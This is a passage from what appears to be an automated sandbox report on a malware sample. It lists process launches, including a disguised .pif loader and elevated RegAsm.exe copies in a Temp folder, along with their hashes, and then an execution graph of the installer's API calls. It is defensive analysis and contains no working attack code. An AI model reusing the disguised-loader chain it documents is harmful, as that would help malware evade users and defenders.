                                          Wow64 process (32bit):true
                                          Commandline:"C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pif" "C:\Users\user\AppData\Local\SecureData Technologies\Y"
                                          Imagebase:0x310000
                                          File size:893'608 bytes
                                          MD5 hash:18CE19B57F43CE0A5AF149C96AECC685
                                          Has elevated privileges:false
                                          Has administrator privileges:false
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:26
                                          Start time:04:04:22
                                          Start date:31/08/2024
                                          Path:C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe
                                          Wow64 process (32bit):true
                                          Commandline:C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe
                                          Imagebase:0xcc0000
                                          File size:65'440 bytes
                                          MD5 hash:0D5DF43AF2916F47D00C1573797C1A13
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Antivirus matches:
                                          • Detection: 0%, ReversingLabs
                                          • Detection: 0%, Virustotal, Browse
                                          Has exited:true

                                          General

                                          Target ID:27
                                          Start time:04:04:27
                                          Start date:31/08/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:29
                                          Start time:04:05:27
                                          Start date:31/08/2024
                                          Path:C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe
                                          Imagebase:0x40000
                                          File size:65'440 bytes
                                          MD5 hash:0D5DF43AF2916F47D00C1573797C1A13
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:30
                                          Start time:04:05:28
                                          Start date:31/08/2024
                                          Path:C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe
                                          Imagebase:0x10000
                                          File size:65'440 bytes
                                          MD5 hash:0D5DF43AF2916F47D00C1573797C1A13
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:31
                                          Start time:04:05:28
                                          Start date:31/08/2024
                                          Path:C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe
                                          Wow64 process (32bit):true
                                          Commandline:C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe
                                          Imagebase:0x4b0000
                                          File size:65'440 bytes
                                          MD5 hash:0D5DF43AF2916F47D00C1573797C1A13
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:32
                                          Start time:04:05:33
                                          Start date:31/08/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          Disassembly

                                          Reset < >

                                            Execution Graph

                                            Execution Coverage:12.7%
                                            Dynamic/Decrypted Code Coverage:0%
                                            Signature Coverage:21.3%
                                            Total number of Nodes:1322
                                            Total number of Limit Nodes:22
                                            execution_graph 3653 4025c1 3654 40154d 19 API calls 3653->3654 3655 4025cb 3654->3655 3656 40145c 18 API calls 3655->3656 3657 4025d5 3656->3657 3658 401721 3657->3658 3659 4025e2 RegQueryValueExW 3657->3659 3660 402603 3659->3660 3663 402609 3659->3663 3660->3663 3664 4059ff wsprintfW 3660->3664 3662 4025b6 RegCloseKey 3662->3658 3663->3658 3663->3662 3664->3663 3665 402c43 3666 40145c 18 API calls 3665->3666 3667 402c4b 3666->3667 3672 405c70 GlobalAlloc lstrlenW 3667->3672 3669 402c51 3699 4059ff wsprintfW 3669->3699 3671 402c58 3673 405ca6 3672->3673 3674 405cf8 3672->3674 3675 405cd3 GetVersionExW 3673->3675 3700 405ada CharUpperW 3673->3700 3674->3669 3675->3674 3676 405d02 3675->3676 3678 405d11 3676->3678 3679 405d28 LoadLibraryA 3676->3679 3678->3674 3680 405e49 GlobalFree 3678->3680 3679->3674 3681 405d46 GetProcAddress GetProcAddress GetProcAddress 3679->3681 3682 405fa1 FreeLibrary 3680->3682 3683 405e5f LoadLibraryA 3680->3683 3687 405d6e 3681->3687 3694 405eb9 3681->3694 3682->3674 3683->3674 3684 405e79 GetProcAddress GetProcAddress GetProcAddress GetProcAddress GetProcAddress 3683->3684 3684->3694 3685 405f15 FreeLibrary 3686 405eee 3685->3686 3689 405fae 3686->3689 3696 405f49 lstrcmpW 3686->3696 3697 405f7a CloseHandle 3686->3697 3698 405f98 CloseHandle 3686->3698 3688 405d92 FreeLibrary GlobalFree 3687->3688 3693 405dae 3687->3693 3687->3694 3688->3674 3691 405fb3 CloseHandle FreeLibrary 3689->3691 3690 405dc0 lstrcpyW OpenProcess 3692 405e13 CloseHandle CharUpperW lstrcmpW 3690->3692 3690->3693 3695 405fc8 CloseHandle 3691->3695 3692->3693 3692->3694 3693->3680 3693->3690 3693->3692 3694->3685 3694->3686 3695->3691 3696->3686 3696->3695 3697->3686 3698->3682 3699->3671 3700->3673 3701 4018c3 3702 40145c 18 API calls 3701->3702 3703 4018cb 3702->3703 3704 40592d 2 API calls 3703->3704 3705 4018d2 3704->3705 3705->3705 3706 404f45 3707 405099 3706->3707 3708 404f5d 3706->3708 3710 4050ea 3707->3710 3711 4050aa GetDlgItem GetDlgItem 3707->3711 3708->3707 3709 404f69 3708->3709 3713 404f74 SetWindowPos 3709->3713 3714 404f87 3709->3714 3712 405144 3710->3712 3723 40139b 2 API calls 3710->3723 3791 4038c7 3711->3791 3717 403937 SendMessageW 3712->3717 3737 405094 3712->3737 3713->3714 3718 404fa4 3714->3718 3719 404f8c ShowWindow 3714->3719 3716 4050d4 SetClassLongW 3720 40141d 2 API calls 3716->3720 3742 405156 3717->3742 3721 404fc6 3718->3721 3722 404fac DestroyWindow 3718->3722 3719->3718 3720->3710 3724 404fcb SetWindowLongW 3721->3724 3725 404fdc 3721->3725 3773 4053a8 3722->3773 3726 40511c 3723->3726 3724->3737 3728 405053 3725->3728 3729 404fe8 GetDlgItem 3725->3729 3726->3712 3730 405120 SendMessageW 3726->3730 3727 4053aa DestroyWindow EndDialog 3727->3773 3777 403952 3728->3777 3732 405018 3729->3732 3733 404ffb SendMessageW IsWindowEnabled 3729->3733 3730->3737 3731 40141d 2 API calls 3731->3742 3738 405025 3732->3738 3740 40506c SendMessageW 3732->3740 3741 405038 3732->3741 3748 40501d 3732->3748 3733->3732 3733->3737 3735 4053d9 ShowWindow 3735->3737 3736 4060ca 18 API calls 3736->3742 3738->3740 3738->3748 3740->3728 3743 405040 3741->3743 3744 405055 3741->3744 3742->3727 3742->3731 3742->3736 3742->3737 3745 4038c7 19 API calls 3742->3745 3749 4038c7 19 API calls 3742->3749 3764 4052ea DestroyWindow 3742->3764 3747 40141d 2 API calls 3743->3747 3746 40141d 2 API calls 3744->3746 3745->3742 3746->3748 3747->3748 3748->3728 3774 4038a0 3748->3774 3750 4051d1 GetDlgItem 3749->3750 3751 4051e6 3750->3751 3752 4051ef ShowWindow EnableWindow 3750->3752 3751->3752 3794 40390d EnableWindow 3752->3794 3754 405219 EnableWindow 3757 40522d 3754->3757 3755 405232 GetSystemMenu EnableMenuItem SendMessageW 3756 405262 SendMessageW 3755->3756 3755->3757 3756->3757 3757->3755 3795 403920 SendMessageW 3757->3795 3796 405ab8 lstrcpynW 3757->3796 3760 405290 lstrlenW 3761 4060ca 18 API calls 3760->3761 3762 4052a6 SetWindowTextW 3761->3762 3763 40139b 2 API calls 3762->3763 3763->3742 3765 405304 CreateDialogParamW 3764->3765 3764->3773 3766 405337 3765->3766 3765->3773 3767 4038c7 19 API calls 3766->3767 3768 405342 GetDlgItem GetWindowRect ScreenToClient SetWindowPos 3767->3768 3769 40139b 2 API calls 3768->3769 3770 405388 3769->3770 3770->3737 3771 405390 ShowWindow 3770->3771 3772 403937 SendMessageW 3771->3772 3772->3773 3773->3735 3773->3737 3775 4038a7 3774->3775 3776 4038ad SendMessageW 3774->3776 3775->3776 3776->3728 3778 4039f0 3777->3778 3779 403967 GetWindowLongW 3777->3779 3778->3737 3779->3778 3780 403978 3779->3780 3781 403987 GetSysColor 3780->3781 3782 40398a 3780->3782 3781->3782 3783 403990 SetTextColor 3782->3783 3784 40399a SetBkMode 3782->3784 3783->3784 3785 4039b2 GetSysColor 3784->3785 3786 4039b8 3784->3786 3785->3786 3787 4039c9 3786->3787 3788 4039bf SetBkColor 3786->3788 3787->3778 3789 4039e3 CreateBrushIndirect 3787->3789 3790 4039dc DeleteObject 3787->3790 3788->3787 3789->3778 3790->3789 3792 4060ca 18 API calls 3791->3792 3793 4038d2 SetDlgItemTextW 3792->3793 3793->3716 3794->3754 3795->3757 3796->3760 3797 402145 3798 402158 3797->3798 3802 40220a 3797->3802 3799 40145c 18 API calls 3798->3799 3800 402160 3799->3800 3801 40145c 18 API calls 3800->3801 3803 40216a 3801->3803 3804 402181 LoadLibraryExW 3803->3804 3805 402174 GetModuleHandleW 3803->3805 3804->3802 3806 402191 3804->3806 3805->3804 3805->3806 3815 405c29 GlobalAlloc WideCharToMultiByte 3806->3815 3808 40219a 3809 4021a0 3808->3809 3810 4021dd 3808->3810 3812 401435 25 API calls 3809->3812 3813 4021b0 3809->3813 3811 404a73 25 API calls 3810->3811 3811->3813 3812->3813 3813->3802 3814 4021fe FreeLibrary 3813->3814 3814->3802 3816 405c61 GlobalFree 3815->3816 3817 405c54 GetProcAddress 3815->3817 3816->3808 3817->3816 3529 401646 3534 401446 3529->3534 3531 40164d Sleep 3533 402c58 3531->3533 3535 4060ca 18 API calls 3534->3535 3536 401455 3535->3536 3536->3531 3818 401e46 3819 401446 18 API calls 3818->3819 3820 401e4d IsWindow 3819->3820 3821 401ac7 3822 401a8b 3821->3822 3823 401a7d 3821->3823 3824 40145c 18 API calls 3823->3824 3825 401a82 3824->3825 3826 406559 72 API calls 3825->3826 3826->3822 3827 402648 3828 40154d 19 API calls 3827->3828 3829 402652 3828->3829 3830 401446 18 API calls 3829->3830 3831 40265c 3830->3831 3832 402684 RegEnumValueW 3831->3832 3833 402678 RegEnumKeyW 3831->3833 3835 401721 3831->3835 3834 40269d 3832->3834 3832->3835 3833->3834 3834->3835 3836 4025b6 RegCloseKey 3834->3836 3836->3835 3837 4026c8 3838 40145c 18 API calls 3837->3838 3839 4026d0 3838->3839 3844 4058fe GetFileAttributesW CreateFileW 3839->3844 3841 4026dc 3845 4059ff wsprintfW 3841->3845 3843 402c58 3844->3841 3845->3843 3846 403ec9 3847 403f02 3846->3847 3848 403ed9 3846->3848 3850 403952 8 API calls 3847->3850 3849 4038c7 19 API calls 3848->3849 3851 403ee6 SetDlgItemTextW 3849->3851 3852 403f0e 3850->3852 3851->3847 3853 401cc9 3854 401d26 3853->3854 3855 401cd6 3853->3855 3856 401d49 GlobalAlloc 3854->3856 3857 401d2a 3854->3857 3859 4060ca 18 API calls 3855->3859 3860 401cf3 3855->3860 3858 4060ca 18 API calls 3856->3858 3869 401721 3857->3869 3872 405ab8 lstrcpynW 3857->3872 3858->3869 3859->3860 3870 405ab8 lstrcpynW 3860->3870 3862 401d3c GlobalFree 3862->3869 3865 401d08 3871 405ab8 lstrcpynW 3865->3871 3867 401d17 3873 405ab8 lstrcpynW 3867->3873 3870->3865 3871->3867 3872->3862 3873->3869 3874 403acb 3875 403af7 3874->3875 3876 403adb 3874->3876 3878 403b2a 3875->3878 3879 403afd SHGetPathFromIDListW 3875->3879 3885 405731 GetDlgItemTextW 3876->3885 3880 403b0d 3879->3880 3884 403b14 SendMessageW 3879->3884 3882 40141d 2 API calls 3880->3882 3881 403ae8 SendMessageW 3881->3875 3882->3884 3884->3878 3885->3881 3886 4029cb 3887 4029d3 3886->3887 3889 4018b2 3886->3889 3888 4029e0 FindNextFileW 3887->3888 3888->3889 3890 4029ef 3888->3890 3892 405ab8 lstrcpynW 3890->3892 3892->3889 3893 401acc 3894 40145c 18 API calls 3893->3894 3895 401ad4 lstrlenW 3894->3895 3896 402c51 3895->3896 3899 4059ff wsprintfW 3896->3899 3898 402c58 3899->3898 3900 4043cd 3901 4043f2 3900->3901 3902 4043db 3900->3902 3904 404400 IsWindowVisible 3901->3904 3910 404417 3901->3910 3903 4043e1 3902->3903 3918 40445b 3902->3918 3905 403937 SendMessageW 3903->3905 3907 40440d 3904->3907 3904->3918 3908 4043eb 3905->3908 3906 404461 CallWindowProcW 3906->3908 3919 40434f SendMessageW 3907->3919 3910->3906 3924 405ab8 lstrcpynW 3910->3924 3912 404446 3925 4059ff wsprintfW 3912->3925 3914 40444d 3915 40141d 2 API calls 3914->3915 3916 404454 3915->3916 3926 405ab8 lstrcpynW 3916->3926 3918->3906 3920 404372 GetMessagePos ScreenToClient SendMessageW 3919->3920 3921 4043ac SendMessageW 3919->3921 3922 4043a4 3920->3922 3923 4043a9 3920->3923 3921->3922 3922->3910 3923->3921 3924->3912 3925->3914 3926->3918 3927 4016ce 3928 4016d7 3927->3928 3930 4016ec 3927->3930 3929 4016e9 ShowWindow 3928->3929 3928->3930 3929->3930 3931 402350 3932 40145c 18 API calls 3931->3932 3933 402357 3932->3933 3934 40145c 18 API calls 3933->3934 3935 402361 3934->3935 3936 40145c 18 API calls 3935->3936 3937 40236b 3936->3937 3938 405b98 2 API calls 3937->3938 3939 402373 3938->3939 3940 402385 lstrlenW lstrlenW 3939->3940 3942 404a73 25 API calls 3939->3942 3944 402c58 3939->3944 3941 404a73 25 API calls 3940->3941 3943 4023c4 SHFileOperationW 3941->3943 3942->3939 3943->3939 3943->3944 3945 4017d3 3946 40145c 18 API calls 3945->3946 3947 4017db 3946->3947 3948 40145c 18 API calls 3947->3948 3949 4017e5 3948->3949 3950 40145c 18 API calls 3949->3950 3951 4017ef MoveFileW 3950->3951 3952 4017ff 3951->3952 3953 4017ac 3951->3953 3954 405b98 2 API calls 3952->3954 3957 401721 3952->3957 3955 401435 25 API calls 3953->3955 3953->3957 3956 40180f 3954->3956 3955->3957 3956->3957 3958 406526 42 API calls 3956->3958 3958->3953 3537 4018d7 3575 40145c 3537->3575 3539 4018df 3540 401905 3539->3540 3541 4018fd 3539->3541 3583 405ab8 lstrcpynW 3540->3583 3582 405ab8 lstrcpynW 3541->3582 3544 401903 3548 405ae7 5 API calls 3544->3548 3545 401910 3546 405fe6 3 API calls 3545->3546 3547 401916 lstrcatW 3546->3547 3547->3544 3558 401922 3548->3558 3549 405b98 2 API calls 3549->3558 3550 4058de 2 API calls 3550->3558 3552 40193e CompareFileTime 3552->3558 3553 4019f8 3554 404a73 25 API calls 3553->3554 3557 401a02 3554->3557 3555 404a73 25 API calls 3574 4019e4 3555->3574 3556 405ab8 lstrcpynW 3556->3558 3559 402ee7 33 API calls 3557->3559 3558->3549 3558->3550 3558->3552 3558->3553 3558->3556 3563 4060ca 18 API calls 3558->3563 3571 40574d MessageBoxIndirectW 3558->3571 3573 4019cf 3558->3573 3581 4058fe GetFileAttributesW CreateFileW 3558->3581 3560 401a17 3559->3560 3561 401a2b SetFileTime 3560->3561 3562 401a3a FindCloseChangeNotification 3560->3562 3561->3562 3564 401a4b 3562->3564 3562->3574 3563->3558 3565 401a50 3564->3565 3566 401a63 3564->3566 3567 4060ca 18 API calls 3565->3567 3568 4060ca 18 API calls 3566->3568 3569 401a58 lstrcatW 3567->3569 3570 401a6b 3568->3570 3569->3570 3572 40574d MessageBoxIndirectW 3570->3572 3571->3558 3572->3574 3573->3555 3573->3574 3576 401462 3575->3576 3577 4060ca 18 API calls 3576->3577 3578 401487 3577->3578 3579 401493 3578->3579 3580 405ae7 5 API calls 3578->3580 3579->3539 3580->3579 3581->3558 3582->3544 3583->3545 3959 4023d8 3960 401ce5 3959->3960 3963 4023e3 3959->3963 3961 4060ca 18 API calls 3960->3961 3962 401cf3 3961->3962 3969 405ab8 lstrcpynW 3962->3969 3965 401d08 3970 405ab8 lstrcpynW 3965->3970 3967 401d17 3971 405ab8 lstrcpynW 3967->3971 3969->3965 3970->3967 3971->3963 3972 401e59 3973 401446 18 API calls 3972->3973 3974 401e61 3973->3974 3975 401446 18 API calls 3974->3975 3976 401e6a GetDlgItem 3975->3976 3977 402c51 3976->3977 3980 4059ff wsprintfW 3977->3980 3979 402c58 3980->3979 3981 40285a 3982 402860 3981->3982 3983 402873 3981->3983 3984 401446 18 API calls 3982->3984 3985 40145c 18 API calls 3983->3985 3988 402868 3984->3988 3986 40287b lstrlenW 3985->3986 3986->3988 3987 401721 3988->3987 3989 40289f WriteFile 3988->3989 3989->3987 3990 40385e 3991 403869 3990->3991 3992 403870 GlobalAlloc 3991->3992 3993 40386d 3991->3993 3992->3993 3994 403bde 3995 403be8 3994->3995 3996 403beb lstrcpynW lstrlenW 3994->3996 3995->3996 3997 401adf 3998 401446 18 API calls 3997->3998 3999 401ae7 3998->3999 4000 401446 18 API calls 3999->4000 4001 401af2 4000->4001 4002 40145c 18 API calls 4001->4002 4003 401afc 4002->4003 4004 401b11 lstrlenW 4003->4004 4009 401b4a 4003->4009 4005 401b1b 4004->4005 4005->4009 4010 405ab8 lstrcpynW 4005->4010 4007 401b33 4008 401b40 lstrlenW 4007->4008 4007->4009 4008->4009 4010->4007 4011 401661 SetForegroundWindow 4012 402c58 4011->4012 4013 401be3 4014 401446 18 API calls 4013->4014 4015 401bea 4014->4015 4016 401446 18 API calls 4015->4016 4017 401aae 4016->4017 4018 401b68 4019 40145c 18 API calls 4018->4019 4020 401b70 4019->4020 4021 40145c 18 API calls 4020->4021 4022 401b7a 4021->4022 4023 401b82 lstrcmpiW 4022->4023 4024 401b98 lstrcmpW 4022->4024 4025 401aae 4023->4025 4024->4025 4026 401f6c 4027 401446 18 API calls 4026->4027 4028 401f73 4027->4028 4029 401446 18 API calls 4028->4029 4030 401f7d 4029->4030 4031 401f90 EnableWindow 4030->4031 4032 401f85 ShowWindow 4030->4032 4033 402c58 4031->4033 4032->4033 4034 4023ee 4035 4023f9 4034->4035 4038 402400 4034->4038 4036 40145c 18 API calls 4035->4036 4036->4038 4037 402411 4039 402421 4037->4039 4041 40145c 18 API calls 4037->4041 4038->4037 4040 40145c 18 API calls 4038->4040 4042 40145c 18 API calls 4039->4042 4040->4037 4041->4039 4043 40242b WritePrivateProfileStringW 4042->4043 4044 40166f 4045 401678 4044->4045 4047 40168c 4044->4047 4046 401446 18 API calls 4045->4046 4046->4047 4048 40276f 4049 401446 18 API calls 4048->4049 4051 402779 4049->4051 4050 4027b0 ReadFile 4050->4051 4057 402811 4050->4057 4051->4050 4052 402813 4051->4052 4053 4027da MultiByteToWideChar 4051->4053 4054 402823 4051->4054 4051->4057 4058 4059ff wsprintfW 4052->4058 4053->4051 4053->4054 4056 40283f SetFilePointer 4054->4056 4054->4057 4056->4057 4058->4057 4059 4026ef GlobalAlloc 4060 402717 4059->4060 4061 402708 4059->4061 4063 40145c 18 API calls 4060->4063 4062 401446 18 API calls 4061->4062 4066 402710 4062->4066 4064 40271f WideCharToMultiByte lstrlenA 4063->4064 4064->4066 4065 402760 4066->4065 4067 402755 WriteFile 4066->4067 4067->4065 4068 401ef0 GetDC GetDeviceCaps 4069 401446 18 API calls 4068->4069 4070 401f0d MulDiv 4069->4070 4071 401446 18 API calls 4070->4071 4072 401f23 4071->4072 4073 4060ca 18 API calls 4072->4073 4074 401f5c CreateFontIndirectW 4073->4074 4075 402c51 4074->4075 4078 4059ff wsprintfW 4075->4078 4077 402c58 4078->4077 4079 4029f1 4080 40145c 18 API calls 4079->4080 4081 4029f9 FindFirstFileW 4080->4081 4082 402a0c 4081->4082 4083 402a1d 4082->4083 4087 4059ff wsprintfW 4082->4087 4088 405ab8 lstrcpynW 4083->4088 4086 402a2a 4087->4083 4088->4086 4089 403b74 4090 403bd1 4089->4090 4091 403b81 lstrcpynA lstrlenA 4089->4091 4091->4090 4092 403bb2 4091->4092 4092->4090 4093 403bbe GlobalFree 4092->4093 4093->4090 4094 401d76 4095 401446 18 API calls 4094->4095 4096 401d7e 4095->4096 4097 401446 18 API calls 4096->4097 4098 401d89 4097->4098 4099 401d9a 4098->4099 4100 40145c 18 API calls 4098->4100 4101 401dab 4099->4101 4102 40145c 18 API calls 4099->4102 4100->4099 4103 401db4 4101->4103 4104 401dff 4101->4104 4102->4101 4106 401446 18 API calls 4103->4106 4105 40145c 18 API calls 4104->4105 4107 401e07 4105->4107 4108 401dbc 4106->4108 4109 40145c 18 API calls 4107->4109 4110 401446 18 API calls 4108->4110 4111 401e11 FindWindowExW 4109->4111 4112 401dc6 4110->4112 4116 401e31 4111->4116 4113 401dd0 SendMessageTimeoutW 4112->4113 4114 401def SendMessageW 4112->4114 4113->4116 4114->4116 4115 402c58 4116->4115 4118 4059ff wsprintfW 4116->4118 4118->4115 4119 401e76 4120 401446 18 API calls 4119->4120 4121 401e87 SetWindowLongW 4120->4121 4122 402c58 4121->4122 4123 4024f8 4124 4024fc 4123->4124 4125 40145c 18 API calls 4124->4125 4126 40251d 4125->4126 4127 40145c 18 API calls 4126->4127 4128 402528 RegCreateKeyExW 4127->4128 4129 402554 4128->4129 4130 402c58 4128->4130 4131 402570 4129->4131 4132 40145c 18 API calls 4129->4132 4133 40257d 4131->4133 4135 401446 18 API calls 4131->4135 4134 402566 lstrlenW 4132->4134 4136 402599 RegSetValueExW 4133->4136 4137 402ee7 33 API calls 4133->4137 4134->4131 4135->4133 4138 4025b0 RegCloseKey 4136->4138 4137->4136 4138->4130 4140 402979 4141 40296c 4140->4141 4141->4140 4142 401446 18 API calls 4141->4142 4143 40298e 4142->4143 4144 402995 SetFilePointer 4143->4144 4145 4029a6 4144->4145 4146 402c58 4144->4146 4148 4059ff wsprintfW 4145->4148 4148->4146 4149 401a7b 4150 401a7d 4149->4150 4151 40145c 18 API calls 4150->4151 4152 401a82 4151->4152 4153 406559 72 API calls 4152->4153 4154 401a8b 4153->4154 4155 40447d GetDlgItem GetDlgItem 4156 4044d3 7 API calls 4155->4156 4161 4046eb 4155->4161 4157 404577 DeleteObject 4156->4157 4158 40456b SendMessageW 4156->4158 4159 404582 4157->4159 4158->4157 4162 4045b9 4159->4162 4164 4060ca 18 API calls 4159->4164 4160 4047d0 4163 404875 4160->4163 4173 40481f SendMessageW 4160->4173 4198 4046de 4160->4198 4161->4160 4171 40434f 5 API calls 4161->4171 4185 40475b 4161->4185 4167 4038c7 19 API calls 4162->4167 4165 40488a 4163->4165 4166 40487e SendMessageW 4163->4166 4169 40459b SendMessageW SendMessageW 4164->4169 4176 4048a3 4165->4176 4177 40489c ImageList_Destroy 4165->4177 4183 4048b3 4165->4183 4166->4165 4172 4045cd 4167->4172 4168 403952 8 API calls 4175 404a6c 4168->4175 4169->4159 4170 4047c2 SendMessageW 4170->4160 4171->4185 4178 4038c7 19 API calls 4172->4178 4174 404834 SendMessageW 4173->4174 4173->4198 4180 404847 4174->4180 4181 4048ac GlobalFree 4176->4181 4176->4183 4177->4176 4182 4045de 4178->4182 4179 404a1d 4184 404a32 ShowWindow GetDlgItem ShowWindow 4179->4184 4179->4198 4189 404858 SendMessageW 4180->4189 4181->4183 4186 4046ab GetWindowLongW SetWindowLongW 4182->4186 4192 40463a SendMessageW 4182->4192 4193 4046a5 4182->4193 4196 404668 SendMessageW 4182->4196 4197 40467c SendMessageW 4182->4197 4183->4179 4188 40141d 2 API calls 4183->4188 4200 4048e5 4183->4200 4184->4198 4185->4160 4185->4170 4187 4046c5 4186->4187 4190 4046e3 4187->4190 4191 4046cb ShowWindow 4187->4191 4188->4200 4189->4163 4207 403920 SendMessageW 4190->4207 4206 403920 SendMessageW 4191->4206 4192->4182 4193->4186 4193->4187 4196->4182 4197->4182 4198->4168 4199 4049f4 InvalidateRect 4199->4179 4201 404a0a 4199->4201 4202 404913 SendMessageW 4200->4202 4203 404929 4200->4203 4208 403f13 4201->4208 4202->4203 4203->4199 4205 4049a2 SendMessageW SendMessageW 4203->4205 4205->4203 4206->4198 4207->4161 4209 403f33 4208->4209 4210 4060ca 18 API calls 4209->4210 4211 403f73 4210->4211 4212 4060ca 18 API calls 4211->4212 4213 403f7e 4212->4213 4214 4060ca 18 API calls 4213->4214 4215 403f8e lstrlenW wsprintfW SetDlgItemTextW 4214->4215 4215->4179 4216 40207d 4217 40145c 18 API calls 4216->4217 4218 402085 4217->4218 4219 405b98 2 API calls 4218->4219 4220 40208b 4219->4220 4221 40209a 4220->4221 4225 4059ff wsprintfW 4220->4225 4226 4059ff wsprintfW 4221->4226 4224 402c58 4225->4221 4226->4224 4227 4015fd 4228 401605 4227->4228 4229 404a73 25 API calls 4227->4229 4229->4228 4230 401ffe 4231 40145c 18 API calls 4230->4231 4232 402005 4231->4232 4233 404a73 25 API calls 4232->4233 4234 40200f 4233->4234 4235 4056ec 2 API calls 4234->4235 4236 402015 4235->4236 4237 401721 4236->4237 4238 402026 WaitForSingleObject 4236->4238 4242 402066 CloseHandle 4236->4242 4240 402038 4238->4240 4241 40204a GetExitCodeProcess 4240->4241 4244 405bf6 2 API calls 4240->4244 4241->4242 4243 40205d 4241->4243 4242->4237 4247 4059ff wsprintfW 4243->4247 4245 40203f WaitForSingleObject 4244->4245 4245->4240 4247->4242 4248 401000 4249 401037 BeginPaint GetClientRect 4248->4249 4250 40100c DefWindowProcW 4248->4250 4252 4010fc 4249->4252 4253 401182 4250->4253 4254 401073 CreateBrushIndirect FillRect DeleteObject 4252->4254 4255 401105 4252->4255 4254->4252 4256 401170 EndPaint 4255->4256 4257 40110b CreateFontIndirectW 4255->4257 4256->4253 4257->4256 4258 40111b 6 API calls 4257->4258 4258->4256 4259 401707 4260 40145c 18 API calls 4259->4260 4261 40170f SetFileAttributesW 4260->4261 4262 401721 4261->4262 4263 40400b 4264 40404c 4263->4264 4265 40403f 4263->4265 4267 404055 GetDlgItem 4264->4267 4272 4040b8 4264->4272 4324 405731 GetDlgItemTextW 4265->4324 4269 404069 4267->4269 4268 404046 4271 405ae7 5 API calls 4268->4271 4274 40407d SetWindowTextW 4269->4274 4279 405807 4 API calls 4269->4279 4270 40419f 4322 404334 4270->4322 4326 405731 GetDlgItemTextW 4270->4326 4271->4264 4272->4270 4275 4060ca 18 API calls 4272->4275 4272->4322 4277 4038c7 19 API calls 4274->4277 4281 404131 SHBrowseForFolderW 4275->4281 4276 4041cb 4282 406042 18 API calls 4276->4282 4283 40409b 4277->4283 4278 403952 8 API calls 4284 404348 4278->4284 4280 404073 4279->4280 4280->4274 4288 405fe6 3 API calls 4280->4288 4281->4270 4285 404149 CoTaskMemFree 4281->4285 4286 4041d1 4282->4286 4287 4038c7 19 API calls 4283->4287 4289 405fe6 3 API calls 4285->4289 4327 405ab8 lstrcpynW 4286->4327 4290 4040a9 4287->4290 4288->4274 4291 404156 4289->4291 4325 403920 SendMessageW 4290->4325 4294 40418d SetDlgItemTextW 4291->4294 4299 4060ca 18 API calls 4291->4299 4294->4270 4295 4040b1 4297 405bbf 3 API calls 4295->4297 4296 4041e8 4298 405bbf 3 API calls 4296->4298 4297->4272 4300 4041f0 4298->4300 4301 404175 lstrcmpiW 4299->4301 4302 404231 4300->4302 4309 406015 2 API calls 4300->4309 4311 404286 4300->4311 4301->4294 4304 404186 lstrcatW 4301->4304 4328 405ab8 lstrcpynW 4302->4328 4304->4294 4305 40423a 4306 405807 4 API calls 4305->4306 4307 404240 GetDiskFreeSpaceW 4306->4307 4310 404264 MulDiv 4307->4310 4307->4311 4309->4300 4310->4311 4312 4042e3 4311->4312 4314 403f13 21 API calls 4311->4314 4313 404306 4312->4313 4315 40141d 2 API calls 4312->4315 4329 40390d EnableWindow 4313->4329 4316 4042d4 4314->4316 4315->4313 4318 4042e5 SetDlgItemTextW 4316->4318 4319 4042d9 4316->4319 4318->4312 4321 403f13 21 API calls 4319->4321 4320 404322 4320->4322 4330 4038e9 4320->4330 4321->4312 4322->4278 4324->4268 4325->4295 4326->4276 4327->4296 4328->4305 4329->4320 4331 4038f7 4330->4331 4332 4038fc SendMessageW 4330->4332 4331->4332 4332->4322 3603 40188d 3604 40145c 18 API calls 3603->3604 3605 401895 SearchPathW 3604->3605 3606 4018b2 3605->3606 3626 40248e 3627 4024c0 3626->3627 3628 402494 3626->3628 3629 40145c 18 API calls 3627->3629 3639 40154d 3628->3639 3631 4024c8 3629->3631 3643 401497 RegOpenKeyExW 3631->3643 3632 40249b 3635 40145c 18 API calls 3632->3635 3638 401721 3632->3638 3636 4024ad RegDeleteValueW RegCloseKey 3635->3636 3636->3638 3640 40155e 3639->3640 3641 40145c 18 API calls 3640->3641 3642 401585 RegOpenKeyExW 3641->3642 3642->3632 3650 4014c3 3643->3650 3651 40150f 3643->3651 3644 4014e9 RegEnumKeyW 3645 4014fb RegCloseKey 3644->3645 3644->3650 3647 405bbf 3 API calls 3645->3647 3646 401520 RegCloseKey 3646->3651 3649 40150b 3647->3649 3648 401497 3 API calls 3648->3650 3649->3651 3652 40153b RegDeleteKeyW 3649->3652 3650->3644 3650->3645 3650->3646 3650->3648 3651->3638 3652->3651 4333 401610 4334 40161b PostQuitMessage 4333->4334 4335 401605 4333->4335 4334->4335 4336 401a90 4337 